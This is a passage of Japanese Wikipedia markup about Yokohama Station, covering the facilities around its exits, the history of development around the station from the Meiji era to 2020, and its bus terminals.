** [[横浜ビブレ]](旧・[[マイカル|ニチイ]]横浜店)
*** ビックカメラ アウトレット×[[ソフマップ]]横浜ビブレ店
*** [[ブックオフコーポレーション|BOOK・OFF]]横浜ビブレ店
*** [[アニメイト]]横浜ビブレ
*** [[ボークス]]横浜ショールーム
** [[CeeU Yokohama]](旧・[[ダイエー横浜西口店]])
*** [[ダイエー|イオンフードスタイル]]横浜西口店
*** [[イオン銀行]]CeeU Yokohama店
*** [[エディオン]]横浜西口本店
*** [[ゼビオホールディングス|スーパースポーツヴィクトリア]]CeeU Yokohama店
** [[ドン・キホーテ (企業)|ドン・キホーテ]]横浜西口店(旧・[[アリック日進]]横浜西口本店)
** [[グレッグ外語専門学校]]横浜校
* 北幸二丁目
** [[ハマボールイアス]]
** [[河合塾]]横浜校
|}}
=== 東口 ===
{{See also|高島 (横浜市)}}
[[File:ルミネ横浜の全景.jpg|thumb|right|東口駅舎 横浜ターミナルビル(4代目駅舎、1980年2月竣工)]]
所在は、[[高島 (横浜市)|高島]]二丁目12番から19番(旧:高島通2丁目)。3代目横浜駅として現在地に移転した際に、幹線道路沿いであった当地に駅舎が建てられた。かつては「横浜駅表口」とも呼ばれていた<ref>横浜市建築局「横浜市三千分一地形図 三ッ沢」(1954 - 1965年製作)の地図上の表記より。</ref>。
[[横浜新都市センター#横浜新都市ビル|横浜新都市ビル]]2階部分から[[日産自動車グローバル本社]]([[横浜みなとみらい21|みなとみらい地区]]方面)とを結ぶ[[ペデストリアンデッキ]]「[[はまみらいウォーク]]」が設置されている。なお、新都市ビル([[そごう横浜店|そごう]])や[[横浜スカイビル|スカイビル]]がある一角([[栄本町線#栄本町線支線1号|出島地区]])は[[横浜みなとみらい21|みなとみらい地区]]の[[横浜みなとみらい21#横浜駅東口地区(68街区)|68街区]]に該当する。
{{Main2|横浜新都心ビル・横浜スカイビルがある地区|横浜みなとみらい21}}
{{Main2|横浜ベイクォーターがある地区|ポートサイド地区}}
==== 主な施設 ====
{{columns-list|2|
* [[東日本旅客鉄道横浜支社|東日本旅客鉄道(JR東日本)横浜支社]]
* 東日本旅客鉄道(JR東日本)横浜総合区事務所
* [[横浜ターミナルビル]](横浜駅東口駅舎)
** [[ルミネ]]横浜
* [[横浜ポルタ]](地下街)
* [[横浜新都市センター|横浜新都市ビル]]
** [[そごう横浜店]]
** 新都市ホール
** 横浜駅東口バスターミナル
* 横浜駅東口タクシープラザ(横浜駅東口駅前第2交通広場)
* [[横浜スカイビル]]
** [[丸井|マルイシティ]]横浜店
** [[横浜シティ・エア・ターミナル]] (YCAT)
* [[横浜みなとみらい21|みなとみらい21地区]]
* [[ポートサイド地区|横浜ポートサイド地区]]
* [[国道1号]]
* [[首都高速神奈川1号横羽線|首都高速道路横羽線]] [[横浜駅東口出入口]]・[[金港ジャンクション]]
|}}
<gallery widths="180" heights="130px">
Yokohama Station-East exit.jpg|東口の中央通路(旧:東西自由通路)出口付近(2009年8月)
Yokohama PORTA2011.JPG|東口の中央通路出口、横浜ポルタ入口付近(2011年12月)
Yokohama station Porta Entrance Outside.jpg|横浜ポルタ入口の外観(2019年9月)
</gallery>
=== きた東口 ===
2006年2月供用開始。屋根がガラス張りになっており、開放感のある空間として作られている。きた通路が地下1階にあるため、階段とエスカレーターが設置されている。2009年12月に[[横浜ベイクォーター|ベイクォーター]]・[[ポートサイド地区|ポートサイド]]方面へのデッキ「ベイクォーターウォーク」が竣工した。
==== 主な施設 ====
* [[国道1号]]金港橋
* 月見橋 - [[松本竣介]]の絵画「Y市の橋」のモデルとなった。
* [[首都高速神奈川1号横羽線]]・[[首都高速神奈川2号三ツ沢線|2号三ツ沢線]] 金港ジャンクション(直下)
* 内海川跨線人道橋 - 1930年竣工。老朽化ときた通路が整備されたため、2011年11月に廃止。
* [[ポートサイド地区|ヨコハマポートサイド地区]]
** [[横浜ベイクォーター]]
* [[横浜医療専門学校]]
<gallery widths="180" heights="130px">
Utsumi river Crossing bridge.jpg|right|きた西口側から見た内海川跨線人道橋<br />(右奥、2020年7月撮影)
</gallery>
=== みなみ東口 ===
[[File:Yokohama Station-SEast exit 02.jpg|thumb|right|みなみ東口へ続く暫定通路(2019年3月)]]
みなみ通路から接続する仮設通路(みなみ東口通路)の出口にあたり、現在は[[横浜中央郵便局]]とJR東日本横浜支社の間(中央通路の東口に隣接)に暫定的に設置されている<ref name="hamarepo170308">{{Cite news |url=http://hamarepo.com/story.php?story_id=5910 |title=横浜駅の「みなみ東口」はいつまで仮設通路なの? |publisher=はまれぽ.com |date=2017-03-08 |accessdate=2018-01-23}}</ref>。今後は[[#東口周辺の再開発計画|東口周辺の再開発計画]]に合わせ、みなみ東口通路と出口の再整備を行う方針である<ref name="hamarepo170308"/>。
==== 主な施設 ====
{{columns-list|2|
* [[東日本旅客鉄道横浜支社]]
** 東日本旅客鉄道横浜提携販売センター
** 東日本旅客鉄道横浜総合区事務所
* [[横浜中央郵便局]]
** [[ゆうちょ銀行]]横浜店
* [[アソビル]](旧:横浜中央郵便局別館)
* [[横浜ポルタ]]
* 横浜ジャスト1号館
** [[崎陽軒]]本社・本社工場
** [[横浜新都市センター]]
* 横浜ジャスト3号館
** 崎陽軒本店
* [[みずほ銀行]]横浜東口支店
* ファーストプレイス横浜([[高島 (横浜市)#高島二丁目地区再開発事業|高島二丁目地区再開発事業]])
* 横浜東口ウィスポートビル(旧称:[[日産自動車|日産]]横浜ビル)
* [[学校法人岩谷学園|岩谷学園]]テクノビジネス専門学校
** 岩谷学園アーティスティックB専門学校
* [[学校法人みなとみらい学園|学校法人みなとみらい学園 横浜歯科医療専門学校]](旧称:学校法人鶴見歯科学園 横浜歯科技術専門学校)
|}}
=== 横浜駅周辺開発の歴史 ===
[[File:Shin-Yokohama St 1860.jpg|thumb|right|180px|[[江戸時代]]([[安政]]7年頃)の[[錦絵]]<br />[[新田間橋]]から南東方向を描く。左側の海上が現在の横浜駅一帯。]]
==== 明治 - 終戦 ====
[[明治]]時代から[[大正]]時代にかけて[[新田]]開発のため、茂木六兵衛らにより陸地と線路の間の海面が[[埋立地|埋め立て]]られ、現在の西区[[北幸]]・[[南幸]](旧:[[青木町 (横浜市)|青木町]]字北幸町・字南幸町)が誕生した。この地域が現在の横浜駅西口一帯である。
[[1908年]](明治41年)にこの土地の一部を[[スタンダード・オイル]](現:[[エクソンモービル]])が取得し、[[油槽所]]として使用していた。しかし[[1923年]](大正12年)の[[関東大震災]]でタンクから漏れ出した約700万[[ガロン]]の[[石油]]・[[重油]]が[[新田間川]]に流れ出し、[[古河電気工業|横浜電線]]から出火した火が燃え移り、十数日にわたって一帯が燃え続けた<ref>『震災記念館陳列品説明書』横浜市震災記念館、30-31ページ(横浜市立中央図書館所蔵)</ref><ref>神奈川サンケイ新聞社 編『ヨコハマ再開発物語』日刊工業新聞社、1982年1月、ISBN 4-8191-0510-8、99ページ</ref>。その後、周辺住民の反対運動により油槽所は[[鶴見区 (横浜市)|鶴見区]][[安善町]]に移転したため空き地となり、西口は材木・石炭・砂利などの資材置場として使用され、[[盗賊|追いはぎ]]が出るとまで言われる荒れ地となっていた。
[[鉄道省]]は横浜駅を現在の場所に移転するため、[[1927年]]([[昭和]]2年)5月に横浜駅の新駅舎建設に着工。翌[[1928年]](昭和3年)[[10月15日]]、3代目横浜駅舎が開設された<ref group="注">総工費200万円。鉄筋コンクリート造り、2階建て(一部地階あり)。</ref>。2代目横浜駅が[[関東大震災]]で大きな被害を受けたことや、当地は埋立地で[[軟弱地盤]]であることから、[[地盤改良]]のために長さ18m、元口直径35∼40cmの[[ベイマツ]]が、75cm間隔で2226本打ち込まれた<ref>「旧横浜駅(3代)の松杭撤去」『鉄道建築ニュース 369号』30-34ページ、鉄道建設協会、1980年9月。</ref>。
[[File:Yokohama Station 1930s.jpg|thumb|right|[[1930年]]頃の横浜駅東口(3代目駅舎)]]
東口では[[省線]]の駅移転に続き、[[横浜市電]](旧[[横浜電気鉄道]])の横浜駅前[[電停|停留所]]が国道1号線上に設置され、[[1930年]](昭和5年)には京浜電気鉄道(現 [[京浜急行電鉄]])の駅が開設された。また西口では、[[1933年]](昭和8年)12月に神中鉄道(現在の[[相模鉄道]]、[[相鉄本線]]に該当)が横浜駅まで延伸して駅を設置した。
これにより横浜駅は、省線と横浜市電に加え、京浜電気鉄道・神中鉄道・[[東京横浜電鉄]](現在の[[東急東横線]])の[[私鉄]]3社が接続する[[ターミナル]]駅となった。しかし当時の横浜市街の中心は、初代横浜駅があった[[桜木町 (横浜市)|桜木町]]や、その隣駅で横浜港に近い[[関内]]周辺であったことから、駅舎がある東口周辺には依然として空き地が広がっていた。
[[太平洋戦争]]中は、西口の土地は[[接収]]されて[[大日本帝国海軍]]の資材置き場になった。[[1945年]](昭和20年)の[[横浜大空襲]]では、駅ホームの上屋・小荷物扱い所・構内線路が全焼したものの、東口は駅舎の内装が全焼した程度で大きな被害はまぬがれた。しかし西口には工場があったため[[焼夷弾]]が落とされ、西口一帯が全焼した。
==== 戦後 - 1950年代 ====
明治・大正期にスタンダード・オイルが油槽所として使用していた西口の土地は、戦時中の[[1943年]]([[昭和18年]])に相模鉄道が[[砂利]]輸送・[[厚木海軍航空隊]]へのガソリン輸送のための資材置き場として145,000円で購入していた<ref name="ヨコハマ再開発物語-P99-102">神奈川サンケイ新聞社 編『ヨコハマ再開発物語』 日刊工業新聞社、1982年1月、ISBN 4-8191-0510-8、99-102ページ</ref>。その土地は[[戦後]]に終戦処理事務所が相模鉄道から買い戻し、横浜駅に置かれた[[連合国軍最高司令官総司令部]] (GHQ) 鉄道輸送事務所の資材置き場として使用されていたが、[[1951年]](昭和26年)にスタンダード・ヴァキューム・オイル・カムパニー(旧スタンダード・オイル)に返還された。
相模鉄道はこの土地を再度買い取ることを希望し、スタンダード・ヴァキューム・オイル・カムパニーからは相模鉄道が同社の代理店となること、横浜市からは西口の整備事業に協力することを条件として売却が許可され、[[1952年]](昭和27年)11月に相模鉄道<!--(現:[[相鉄ホールディングス]])-->が、スタンダード・ヴァキューム・オイル・カムパニーから西口の土地(24,688m<sup>2</sup>)を取得。これにより、横浜駅西口の開発が始まることとなった<ref name="ヨコハマ再開発物語-P99-102" /><ref>『[https://www.sotetsu.co.jp/group/history/ 相鉄グループ100年史]』 相鉄ホールディングス 、2018年12月、51-52・80-81ページ</ref><ref>[https://hamarepo.com/story.php?story_id=985 横浜駅西口はかつて資材置き場だったのか!?] はまれぽ.com、2012年4月11日</ref>。
[[File:YokohamaStation-West1952-2.jpg|thumb|right|[[1952年]]頃の横浜駅西口全景]]
西口では資材置き場として使わていた広い土地が接収解除され、相模鉄道が用地買収したことを契機に、[[1950年代]]から相鉄主導による積極的な開発が開始された<ref name="相鉄100年史-P75-82" />。実際の開発は[[相鉄グループ]]の[[相鉄不動産]](初代、[[1962年]]9月1日付で相模鉄道へ吸収合併)が担当した<ref name="相鉄100年史-P75-82" />。こうして戦後の横浜駅周辺の開発は、元々の駅表口であった東口に先駆け、相模鉄道の主導による西口開発が先行することとなる。
[[第10回国民体育大会|神奈川国体]]開催を控えた[[1954年]](昭和29年)には横浜市により西口広場・道路の整備が完了し、翌[[1955年]](昭和30年)10月には横浜駅西口(北幸一丁目・南幸一丁目)の[[区画整理事業]]が完了した。<!--横浜市による西口区画整理については『相鉄グループ100年史』に記述がないので改行を詰めないで下さい。-->
[[File:Yokohama station Meihingai.png|thumb|right|西口に開業した横浜駅名品街([[1956年]])]]
相鉄は[[1955年]](昭和30年)5月に横浜駅西口の開発計画を決定<ref name="相鉄100年史-P75-82" />、同年8月22日に横浜駅名品街の建設工事を着工<ref name="相鉄100年史-P75-82" />。翌9月より[[テナント]]誘致を開始し、同年12月に[[高島屋]]と契約を締結した<ref name="相鉄100年史-P75-82" />。翌[[1956年]](昭和31年)4月2日、[[日本のアーケード商店街|アーケード商店街]]の横浜駅名品街(第1次区画)・高島屋ストア(のちの[[高島屋#横浜店|横浜高島屋]])<ref name="相鉄100年史-P75-82" />を開業。[[1957年]]には相鉄文化会館<ref name="相鉄100年史-P75-82" />、[[1959年]]には相鉄会館(のち横浜高島屋の増床部分)<ref name="相鉄100年史-P75-82" />を開業した。
==== 1960年代 ====
[[1960年代]]に入っても相鉄による西口開発は続き、[[1961年]](昭和36年)12月には相鉄ビル(相模鉄道旧本社ビル、現在は[[横浜ベイシェラトン ホテル&タワーズ]])<ref name="相鉄100年史-P75-82" />が完成した。また翌[[1962年]][[11月23日]]には、相模鉄道・[[鉄道弘済会]]・[[崎陽軒]]・[[東京急行電鉄]]<!--出資比率順-->の4社[[共同出資会社|共同出資]]により、国鉄横浜駅西口駅舎「[[横浜ステーシヨンビル|横浜ステーションビル]]」(のちの[[CIAL#横浜CIAL|横浜シァル]])が開業<ref name="相鉄100年史-P75-82" />。さらに[[1964年]](昭和39年)[[12月1日]]には[[ザ・ダイヤモンド|ダイヤモンド地下街]]・横浜駅西口地下駐車場が開業した<ref name="相鉄100年史-P75-82">[https://www.sotetsu.co.jp/media/2019/trans/group/history/pdf/100years_005.pdf 第3章 積極経営の展開[昭和31〜41年]『相鉄グループ100年史]』75-79頁・81-82頁、[[相鉄ホールディングス]]、2018年12月</ref>。相鉄による開発ではないが[[1961年]]5月には西口屈指の歓楽街となる五番街が、[[1962年]][[2月28日]]には[[横浜エクセルホテル東急|横浜東急ホテル]]が、[[1968年]][[11月3日]]横浜岡田屋が開業した<ref name="スカイビルへの道P142-150">『スカイビルへの道 35年の歩み』 株式会社横浜スカイビル、1996年、142 - 150ページ</ref>。
一方、戦後の東口は[[栄本町線#栄本町線支線1号|出島地区]](現在、[[横浜新都市センター#横浜新都市ビル|横浜新都市ビル]]や[[横浜スカイビル]]がある場所。横浜駅東口総合開発計画における名称で、かつて出島があったことに由来する)に、神奈川県匡済会の独身者向けアパート 横浜新興倶楽部([[1932年]]に労働者向け宿泊所の横浜社会館を改装)、東神倉庫([[1946年]]竣工、のちの菱光倉庫)、[[横浜市警察]]本部([[1949年]] - [[1955年]]6月)、横浜市交通局のバスプール(のちの[[横浜市営バス#廃止された営業所・派出所|横浜市営バス西営業所]])、簡易[[屋台]]や学校暖房用の貯炭場などがある程度であった<ref>「横浜新都市センター30年史」30ページ</ref>。東口駅前に[[1955年]](昭和30年)9月、[[展望台]]と[[ネオンサイン]]を設けた[[崎陽軒]]「シウマイショップ」(現在の崎陽軒本店の場所にあった)<ref>[https://kiyoken.com/history/ 崎陽軒の歩み]「1955年(昭和30年)横浜駅前に「シウマイショップ」竣工。」株式会社崎陽軒</ref> ができるまでは、依然として寂しい場所であった。1950年代から相模鉄道の主導により西口の開発が進み、1960年代にはかつて横浜の商業の中心であった伊勢佐木町を脅かすほどの一大繁華街として発展したため、東口は横浜駅の表玄関でありながら見劣りするようになっていた。
[[1965年]]には横浜市により戦後復興のための「横浜市総合開発計画」が発表され、その中に横浜駅東口の開発も盛り込まれた。ただし当時の横浜市は[[連合国軍最高司令官総司令部|GHQ]]による接収が解除された関内・伊勢佐木町・[[本牧]]など横浜中心部の復興に注力しており、また財政難もあいまって市が単独で事業を進めることは困難であった。さらに東口には権利関係が複雑な土地や[[公有地]]も多いことも問題を複雑化させていた。
そこで[[民間企業]]の共同出資により、横浜駅前振興株式会社(現:[[横浜スカイビル|株式会社横浜スカイビル]])を設立し、駅東口の出島地区および東口地下街の開発を開始することとした。[[1967年]](昭和42年)7月には、横浜市営バス西営業所跡地に[[温水プール]]「スカイプール」<ref group="注">横浜新興倶楽部の裏側、現在の横浜新都市ビルの中心付近。</ref>を建設、翌[[1968年]](昭和43年)3月には最上階に回転展望台とレストランを設けた11階建ての初代[[横浜スカイビル]]の開業にこぎつけたものの、業績は伸び悩んだ。当初は横浜市警察本部跡地と、横浜市営バス西営業所跡地の土地を借り受けてビルを建設する予定であったが払い下げに変更されたり、[[横浜市会]]の権力争いに巻き込まれたため払い下げ価格が予想以上に嵩んで支払い遅延が発生したり、市長が[[革新自治体|革新派]]の[[飛鳥田一雄]]に交代したことにより再三にわたる設計見直し要求が行われるなどの影響もあり<ref>神奈川サンケイ新聞社 編『ヨコハマ再開発物語』 日刊工業新聞社、1982年1月、ISBN 4-8191-0510-8、33-35ページ</ref>、出島地区の北側・東口地下街の開発は困難となった<ref>「横浜新都市センター30年史」42-44ページ</ref>。
一方、西口は繁華街として急成長したことから、相模鉄道は[[1967年]]10月30日に新相鉄ビル([[相鉄ジョイナス]])の建設を中心とした「'''横浜駅西口再開発計画'''」を発表した<ref name="相鉄100年史-P97-100" />。これは横浜駅名品街・相鉄文化会館を取り壊し、相鉄会館(高島屋)と相模鉄道の駅舎を取り込んだ駅ビル「新相鉄ビル」を作るという計画であった<ref name="相鉄100年史-P97-100" />。こうして[[1970年代]]には相鉄による西口[[再開発事業]]が進むこととなる。
==== 1970年代 ====
相鉄は「横浜駅西口再開発計画」に基づき、[[1971年]](昭和46年)には[[ムービル|相鉄ムービル]](初代)と、新相鉄ビルの一部(高島屋が入居する相鉄会館・相模鉄道横浜駅部分)を完成<ref name="相鉄100年史-P97-100" />。[[1973年]](昭和48年)10月には新相鉄ビル第1期工事の大部分が完了し、[[11月20日]]に「相鉄ジョイナス」が開業した<ref name="相鉄100年史-P97-100" />。1976年には増築を伴う相鉄ジョイナス第2期工事も完了し、現在の相鉄ジョイナスが完成した<ref name="相鉄100年史-P97-100">[https://www.sotetsu.co.jp/media/2019/trans/group/history/pdf/100years_006.pdf 第4章 2大事業への意欲]『相鉄グループ100年史』97-100頁、相鉄ホールディングス、2018年12月</ref>。
また[[1973年]][[2月19日]]には[[横浜天理教館]](天理ビル)が、[[1978年]]10月には[[マイカル#ニチイ|ニチイ]]横浜ショッピングデパート(現:[[横浜ビブレ]])が開業<ref name="スカイビルへの道P142-150" />。
東口においては、横浜市全員協議会が[[1971年]](昭和46年)6月に「'''横浜駅東口総合計画'''」を策定し、横浜市の主導により東口の開発を行うこととした。[[国道]]下の利用は[[公共企業体]]に限るという[[建設省]]の方針により、10月には[[第三セクター]]の財団法人横浜駅東口開発公社(資本金1億円)を設立し、公社が東口駅前広場と周辺道路、[[横浜ポルタ]]と横浜駅東口地下駐車場、[[栄本町線#栄本町線支線1号|出島地区]]、横浜駅[[#東口バスターミナル|東口バスターミナル]]の建設・運営を行うことになった。
[[1973年]]12月に着工したものの、[[財団法人]]という制約から資本金1億円では資金が不足し、また第三セクターという形態による出資者の当事者意識の不足、[[首都高速神奈川1号横羽線]]の建設決定による設計変更、第1次[[オイルショック]]の[[狂乱物価]]による建設費の高騰などの影響で総事業費が膨らみ、出島地区の開発が難しくなってしまった。また市長が元横浜駅東口開発公社理事長の[[細郷道一]]に変わったこともあり、[[1978年]](昭和53年)[[8月25日]]の横浜市全員協議会により「横浜駅東口総合計画」が変更され、出島地区の開発は民間に委ねられることとなった。
==== 1980 - 1990年代 ====
[[1980年]](昭和55年)[[11月7日]]には、東口地下街[[横浜ポルタ]]・横浜駅東口地下駐車場が開業した{{R|交通1980-11|group="新聞"}}。同時に横浜市の事業で、横浜駅東口と西口をつなぐ東西自由通路(現:中央通路)<ref group="注">もともとは駅の構内通路で、自由通路化に伴い12.5mに拡幅され、改札口も現在地に移転した。[[1981年]](昭和55年)[[11月20日]]には、通路を36mまで拡幅した。</ref> を開設{{R|交通1980-11|group="新聞"}}。4代目駅舎<ref group="注">初代横浜駅の駅舎から通算すると4代目である。</ref> の[[横浜ターミナルビル]]<ref>「[https://www.ejcs.co.jp/library/tenji/cil_tenji.html 第3回企画展示 横浜駅の物語]」「 [https://www.ejcs.co.jp/library/tenji/4/4_03.html 横浜ターミナルビルデータ]」[[建設産業図書館]]、[[東日本建設業保証株式会社]]</ref><ref>「資料編 1-2 地下街と一体とみなした防火対象物一覧(消防法施行令第9条の2)」『横浜市防災計画 -都市災害対策編- YOKOHAMA2017』 横浜市防災会議、2017年4月</ref>(キーテナントは[[ルミネ]]横浜店{{R|交通1980-11|group="新聞"}})も同時に開業<ref>「[http://www.yokohama-shintoshi.co.jp/history.html 会社のあゆみ 〜横浜駅東口開発の歴史とともに〜]」『横浜新都市センター』 横浜新都市センター株式会社、2019年3月</ref>した。
出島地区の開発を行うための組織として、[[1980年]](昭和55年)[[12月20日]]に[[第三セクター]]の[[横浜新都市センター|横浜新都市センター株式会社]](資本金30億円)が設立され、同社が[[横浜新都市センター#横浜新都市ビル|横浜新都心ビル]]・横浜駅東口バスターミナルの建設・運営を行うことになった。また翌[[1981年]](昭和56年)7月には横浜市が「'''横浜市臨海部総合整備計画([[横浜みなとみらい21|みなとみらい21]]計画)'''」を発表し、出島地区が「みなとみらい21 [[横浜みなとみらい21#横浜駅東口地区(68街区)|横浜駅東口地区(68街区)]]」として組み込まれることになった。
横浜新興倶楽部の立ち退き交渉が難航し裁判に発展したが[[和解]]し、横浜スカイビルが所有していたスカイプール<ref group="注">[[1982年]](昭和57年)10月に「YSCスポーツクラブ横浜」として平沼地区へ移転。</ref> の土地売却交渉も難航したが、横浜スカイビルが横浜新都市ビルの建設・運営に参加することを条件に、横浜スカイビルから土地を借りることで和解した<ref>「横浜新都市センター30年史」63-65・185ページ</ref>。
[[1983年]](昭和58年)[[10月8日]]には横浜新都市ビルの起工式が行われ、翌11月にはみなとみらい21の起工式も開催された。そして[[1985年]](昭和60年)[[9月26日]]にビルが竣工し、同年[[9月30日]]には横浜新都市ビルと核テナントの[[そごう横浜店|横浜そごう]]が開業した。
財団法人横浜駅東口開発公社は、横浜新都市センター株式会社に事業を譲渡し、[[1988年]](昭和63年)[[3月31日]]に解散。同年7月には横浜市から[[ポートサイド地区|ヨコハマポートサイド地区]]([[横浜ベイクォーター]]などがある地区)の[[都市計画]](第二種[[市街地再開発事業]])が発表され、開発が始まった。
翌[[1989年]]([[平成]]元年)3月からは、みなとみらい21地区で[[横浜博覧会]] (YES'89) が開催され、会期中は横浜新都市ビル2階の[[ペデストリアンデッキ]]「風の広場」から、[[よこはまコスモワールド|コスモワールド子供共和国]]の北側(現在の39街区と40街区、現「M.M.TOWERS」と「M.M. TOWERS FORESIS」)にあったゴンドラゲートまでの768mを繋ぐ[[索道|ゴンドラリフト]]が設置され、株式会社横浜博スカイウェイにより運行されていた<ref>[https://hamarepo.com/story.php?story_id=2337 横浜博覧会で「そごう」の2階から出ていたゴンドラが道路脇に放置されているってホント?] はまれぽ.com、2013年10月16日</ref><ref>『横浜博覧会・会場計画と建設の記録』278・280頁、横浜博覧会協会、1990年3月(横浜市立中央図書館所蔵)</ref>。
[[1996年]]9月には、東口に2代目[[横浜スカイビル|スカイビル]]が開業し、核テナントとして[[丸井]](マルイシティ横浜)が入居。スカイビル1階には[[横浜シティ・エア・ターミナル]](YCAT)が開業した。また[[崎陽軒]]本店ビルも竣工した<ref>「横浜新都市センター30年史」100ページ</ref>。
==== 2000年代以降 ====
みなとみらい21地区では[[2000年代]]以降も、東口地区と[[人道橋]](ペデストリアンデッキ)の[[はまみらいウォーク]]で接続する[[日産自動車グローバル本社]](2009年4月)が竣工。ポートサイド地区では、[[人道橋|歩道橋]]の栄町グリーンウォーク(2001年竣工)・ベイクォーターウォーク(横浜駅ポートサイド人道橋、2009年12月供用開始)や、ヨコハマポートサイドビル(1994年竣工)・そごうパーキング館(2005年11月30日竣工)・[[横浜ベイクォーター]](2006年8月24日開業)・横浜イーストスクエアビル(2008年3月)・[[横浜ダイヤビルディング]](2009年12月竣工)などが建設され、横浜駅東口周辺の再開発は継続している。
西口の駅ビルであった[[横浜ステーシヨンビル|横浜ステーションビル]]に入居していた「[[横浜CIAL]](旧称:シァル)」は、西口再開発計画により[[2011年]](平成23年)[[3月27日]]をもって全館閉店した。閉館後、同じく再開発事業地に所在し「横浜CIAL」に隣接していた[[横浜エクセルホテル東急]]は[[2012年]](平成24年)、横浜ステーションビル(横浜CIAL)は[[2013年]](平成25年)に解体された。
横浜エクセルホテル東急跡地では、開発が本格化するまでの空きスペースを利用して、[[2013年]]から期間限定の屋台村・仮設飲食店などが営業されていた<ref name="hamarepo131020">{{Cite news |url=http://hamarepo.com/story.php?story_id=2350 |title=横浜エクセルホテル東急跡地に登場した屋台村の正体とは? |publisher=はまれぽ.com |date=2013-10-20 |accessdate=2018-01-23}}</ref>。CIAL跡地でも商業施設の着工が遅れていたため[[2014年]]2月から[[2015年]]5月まで、空きスペースを利用して商業・飲食店舗などが入る「西口[[ルミネ]]」を期間限定でオープンしていた<ref>{{Cite news |url=https://news.mynavi.jp/article/20131222-a013/ |title=神奈川県・横浜駅に、ルミネの期間限定新施設「西口ルミネ」がオープン |publisher=マイナビニュース |date=2013-12-22 |accessdate=2015-07-05}}</ref><ref group="新聞" name="yomiuri140101">[http://www.yomiuri.co.jp/atmoney/news/20131231-OYT1T00706.htm 期間限定の「ルミネ」オープンへ…横浜駅西口] 読売新聞、2014年1月1日付{{リンク切れ|date=2015年7月}}</ref>。
横浜市による横浜駅周辺再開発事業「'''[[#エキサイトよこはま22(横浜駅周辺大改造計画)|エキサイトよこはま22]]'''」の中心的プロジェクトとして、これらの跡地を一体的に再開発して新たな横浜駅西口駅ビル「[[JR横浜タワー]]」を建設し、[[2020年]]([[令和]]2年)[[6月18日]]に開業。核テナントの一つとして「[[CIAL横浜]]」が入居し、横浜駅西口駅ビルに「CIAL」の名称が復活した。{{Main|JR横浜タワー|CIAL}}
JR横浜タワーの竣工により、相鉄ビル([[横浜ベイシェラトン ホテル&タワーズ]])を抜いて、西口で最も高いビルとなった。なお相鉄ビル竣工以前は、[[天理教]]の関連企業[[東京天理教館]]が所有するオフィスビル「[[横浜天理教館]]」(天理ビル)が長らく西口で最も高いビルであった。
== バス路線 ==
=== 路線バス ===
{{OSM Location map
| coord= {{coord| 35.4661| 139.6225}}| zoom= 16| width= 400| height= 300| float= right| caption= 横浜駅周辺のバスのりば| auto-caption= 1
| mark-coord1= {{coord| 35.46670| 139.62130}}| mark-title1= 横浜駅西口バスターミナル 第1バスのりば(横浜駅西口の駅前)
| shape1= n-circle| shape-outline1= white| mark-size1= 16
| mark-coord2= {{coord| 35.46660| 139.61943}}| mark-title2= 横浜駅西口バスターミナル 第2バスのりば([[横浜ベイシェラトン ホテル&タワーズ]]の西側)
| mark-coord3= {{coord| 35.46745| 139.61970}}| mark-title3= 横浜駅西口バスターミナル 第3バスのりば([[横浜天理教館|天理ビル]]前)
| mark-coord4= {{coord| 35.4651| 139.6250}}| mark-title4= 横浜駅東口バスターミナル([[そごう横浜店]]1階)| shape-color1=dark red| shape-color4= dark blue
| mark-coord5= {{coord| 35.46485| 139.62490}}| mark-title5= YCATのりば([[横浜シティ・エア・ターミナル]]、スカイビル1階)| shape-color5= dark blue
| mark-coord6= {{coord| 35.46415| 139.62500}}| mark-title6= 横浜駅東口スカイビル(YCAT)前 停留所(スカイビルの外周道路)| shape-color6= dark blue
| mark-coord7= {{coord| 35.46530| 139.62345}}| mark-title7= 横浜駅改札口前 停留所(横浜駅東口交番付近、降車専用)| shape-color7= dark blue
| mark-coord8= {{coord| 35.46835| 139.62355}}| mark-title8= [[相鉄高速バスセンター]](廃止)| shape-color8= dark grey
}}
西口・東口それぞれに[[バスターミナル]]が設けられ、付近の一大ターミナルとなっている。一般の[[路線バス]]のほか、[[日本の深夜バス|深夜バス]]や[[高速バス]]も多数発着する。
東口の高速バスの乗り場は、[[横浜新都市センター#横浜新都市ビル|横浜新都市ビル]]([[そごう横浜店]])1階の横浜駅東口バスターミナル、隣接する[[横浜スカイビル|スカイビル]]1階の[[横浜シティ・エア・ターミナル]](YCAT)、さらにスカイビルの外周道路にあるバス停「横浜駅東口スカイビル(YCAT)前」の3箇所に分散しているため、高速バス利用者は混同しないよう注意を要する。
かつては横浜駅きた西口鶴屋地区に[[相鉄高速バスセンター]]もあったが、相模鉄道の高速バス路線撤退に伴い2008年9月に廃止されている<ref>『[https://www.sotetsu.co.jp/group/history/ 相鉄グループ100年史]』 相鉄ホールディングス 、2018年12月、191ページ</ref>。
<gallery widths="170" heights="130">
Yokohama sta East Bus terminal.jpg|東口バスターミナル
Yokohama sta YCAT Bus.jpg|YCATのりば<br />左側は東口バスターミナル
Yokohama sta East Sky bld Bus stop.jpg|横浜駅東口スカイビル(YCAT)前バス停<br />右側はスカイビル
</gallery>
==== 西口バスターミナル ====
西口は「'''横浜駅西口'''」バス停があり、[[横浜市営バス]]、[[神奈川中央交通]](一部は神奈川中央交通東)、[[相鉄バス]]の3社局の路線バスが乗り入れている。バスのりばは3つに分散しており、西口駅舎前の地下街(旧称:[[ザ・ダイヤモンド]])上に第1バスのりば(のりば番号:1から10番台)、横浜ベイシェラトン ホテル&タワーズの西側に第2バスのりば(のりば番号は20番台)、ヨドバシカメラ向かいの天理ビル前に第3バスのりば(のりば番号は30番台)がある。
第1バスのりばは地下街からの階段、エレベーターとしか繋がっておらず、利用する際は地下街から入る。
第3バスのりばは、第2バスのりばが2017年7月24日から貸し切りバス専用乗降場に変更されたため、その代替として同日より運用を開始した<ref group="新聞">{{Cite news |url=https://www.kanaloco.jp/article/entry-16178.html |title=横浜駅西口で貸し切りバス専用乗降場運用へ 混雑緩和狙う |publisher=[[神奈川新聞]] |date=2017-07-22 |accessdate=2019-05-17}}</ref>。
<gallery widths="180" heights="130">
Yokohama sta West Bus terminal from avobe.jpg|下側が第1バスのりば、上側の道路が第3バスのりば
Yokohama sta West Bus terminal.jpg|第1バスのりば
Yokohama sta West 2nd Bus terminal.jpg|第2バスのりば
Yokohama sta West 3rd Bus terminal.jpg|第3バスのりば
</gallery>
===== 第1バスのりば =====
西口の駅舎前にある。
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]より、必要最小限の内容に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
